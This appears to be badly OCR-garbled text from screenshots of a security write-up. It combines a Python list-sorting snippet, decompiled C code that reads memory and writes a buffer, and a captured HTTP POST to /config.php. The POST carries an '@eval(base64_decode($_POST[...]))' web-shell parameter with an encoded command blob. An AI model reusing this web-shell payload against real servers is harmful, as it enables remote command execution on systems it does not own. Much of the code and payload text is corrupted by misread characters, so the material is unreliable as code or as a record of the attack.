xyz.sort(key=operator.itemgetter(1))
X, Y, z = zip(*xyz)

x = list(x)

y = list(y)

z = list(z)

print "x =
print "y =
print "z =

360%£48i ( bobao360.cn )
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Vildi = wla 7 4

e [

{
if (913 )]

]~

s = read_memory_sub_8048C26 (&v9,

3 = strlen(s);

vll = write(f¢

=

w3);

(%13 + 23 <= buf - srec t len_wvar_ 18 - 0z2E )

a0
Ly/’_l SECPULSE

v - 53 = IR 1 -
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Stream Content:

PosT /config,php HTTP/1.1
|cache~controi: no-cache

[X“Forwarded-For: 136.0.217.252

Referer: http://192.168.30.170

Content-Type: app]ication/x-www-TForn-urlencoded

liser-Agent: Mozi11a/4.0 (compatible; MSIE 6.0; windows NT 5.1)
Host: 192.168.30.170

Content-Length: 687

Connection: Close

|
yo=%40eval%01%28base64_decodes28%24_POST%SBZ0%50%29%20%
‘35&20=Q61uavszzxuolmkpdssvx1fo]ybi]zlimM(Ipﬂl)EszRfdGWtQOsawlpd(gwmA(ZvolehzzWjij
1b3R1c10ydwS0aHL IKDAPOZVIAGE0T 1 0%
2B CIpOzskRD1LkaXIuYWL TKCRFUOVSVKVSHYITQ1IIUFRTRK TMRUSETUL T XSk7 aWY0IEQIPSTT KSREPWRpCHSHbWL
2FSTRYSuRYabTTaBVETvE J5T INMGVRF RCJeKTokU]O01 oyREF Vx0T bz IhadinzdrodEswC K S0t 51 ot
b33TYWNOKHINbd TKCIBT 1w Wi IpTGFZICRNKWITKG 1 2X2RpCT g eyRNT T